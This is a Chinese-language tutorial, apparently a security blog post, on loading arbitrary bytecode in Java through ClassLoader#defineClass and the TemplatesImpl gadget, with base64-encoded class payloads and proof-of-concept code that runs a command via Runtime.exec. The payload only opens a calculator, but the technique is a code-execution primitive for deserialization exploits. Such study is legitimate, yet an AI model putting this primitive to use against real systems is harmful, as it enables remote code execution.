利用TemplatesImpl加载字节码
利用TemplatesImpl加载字节码
首先我们写一个恶意类:
public class Calc{
public Calc() throws Exception {
Runtime.getRuntime().exec("calc");
}
public static void main(String[] args){}
}
将其编译后,再base64编码
import java.io.*;
import sun.misc.*;
public class base64 {
public static void main(String[] args) {
try {
FileInputStream fileForInput = new FileInputStream("C:\\C\\Markdown\\Java\\Maven\\target\\classes\\Clac.class");
String content = new String();
byte[] bytes = new byte[fileForInput.available()];
fileForInput.read(bytes);
content = new BASE64Encoder().encode(bytes);
System.out.println(content);
fileForInput.close();
String str = content;//编码内容
byte[] result = new sun.misc.BASE64Decoder().decodeBuffer(str.trim());
RandomAccessFile inOut = new RandomAccessFile("C:\\C\\Markdown\\Java\\Maven\\target\\classes\\Clac.class", "rw");
inOut.write(result);
inOut.close();
} catch (Exception ex) {
System.out.println("wrong");
}
}
}
这样就得到了字节码的base64
利用ClassLoader#defineClass直接加载字节码
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABgAWCgAXABgIABkKABcAGgcAGwcAHAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTENhbGM7AQAKRXhjZXB0aW9ucwcAHQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhDAAHAAgHAB4MAB8AIAEABGNhbGMMACEAIgEABENhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAIAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAADAAQABAANAAUACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAkAEAARAAEACQAAACsAAAABAAAAAbEAAAACAAoAAAAGAAEAAAAGAAsAAAAMAAEAAAABABIAEwAAAAEAFAAAAAIAFQ==");
Class clazz= (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "Calc", code, 0, code.length);
clazz.newInstance();
}
}
首先给出poc,成功弹出计算器
利用TemplatesImpl加载字节码
虽然大部分上层开发者不会直接使用到defineClass
方法,但是Java底层还是有一些类用到了它这就是 TemplatesImpl
。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
这个类中定义了一个内部类 TransletClassLoader
:
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
我们的目的就是调用这个defineClass。
调用链
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()
那我们从头追溯一下调用链。
继续跟踪defineTransletClasses
发现了getTransletInstance
最终跟着到了newTransformer
这个类
到了getOutputProperties
这个类。
首先给出poc
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
public class App {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code =Base64.getDecoder().decode("yv66vgAAADQAIwoABgAWCgAXABgIABkKABcAGgcAGwcAHAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTENhbGM7AQAKRXhjZXB0aW9ucwcAHQEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhDAAHAAgHAB4MAB8AIAEABGNhbGMMACEAIgEABENhbGMBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAIAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAADAAQABAANAAUACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAkAEAARAAEACQAAACsAAAABAAAAAbEAAAACAAoAAAAGAAEAAAAGAAsAAAAMAAEAAAABABIAEwAAAAEAFAAAAAIAFQ==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
}
这里的setFieldValue是利用反射给私有属性赋值,这里设置了三个属性。
_bytecodes
是由字节码组成的数组; _name
可以是任意字符串,只要不为null即可; _tfactory
需要是一个 TransformerFactoryImpl
对象,因为
另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
的子类。
那我们构造一个特殊的类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class HelloTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public HelloTemplatesImpl() {
super();
System.out.println("Hello TemplatesImpl");
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
可以看到命令已经成功执行